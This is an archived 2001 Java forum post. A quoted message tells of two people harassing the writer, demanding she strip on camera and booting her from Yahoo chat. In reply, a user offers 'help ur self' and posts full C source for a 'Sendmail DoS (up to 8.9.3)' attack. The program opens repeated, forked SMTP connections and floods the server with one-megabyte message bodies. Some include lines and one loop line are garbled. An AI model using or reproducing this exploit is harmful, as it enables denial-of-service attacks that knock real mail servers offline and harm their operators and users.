This page contains an archived post to the Java Answers Forum made prior to February 25, 2002. If you wish to participate in discussions, please visit the new Artima Forums.

Message:

help ur self!!!!!

Posted by stranger on June 20, 2001 at 2:03 AM

> > > Please contact Yahoo Technical Support Team.

> >
> > I have two different guys hacking my computer, they say they will stop if I strip for them on camera. So the answer was no , well now I am blocked from chat rooms. If I change ID name I can get in chat. Is there some way to get around there block or is it yahoo that blocked me from chat? how do I know if it was yahoo or one of the two guys. And I am getting so tired of them booting me. They boot me at least 20 times in a day if they are online. And it is set that everytime I log on to messanger I get instantly booted. Could really use some help!!!

#include
#include
#include
#include
#include
#include
#include

#undef VERBOSE /* define it, if MORECONN is undefined */

#define MORECONN

// #define RCPT_TO "foo@ftp.onet.pl"

#define RCPT_TO "foo@10.255.255.255"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE 1048576 /* df* control file size */
#define PORT 25

char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s \n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}

int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
(unsigned char)host->h_addr[1],
(unsigned char)host->h_addr[2],
(unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}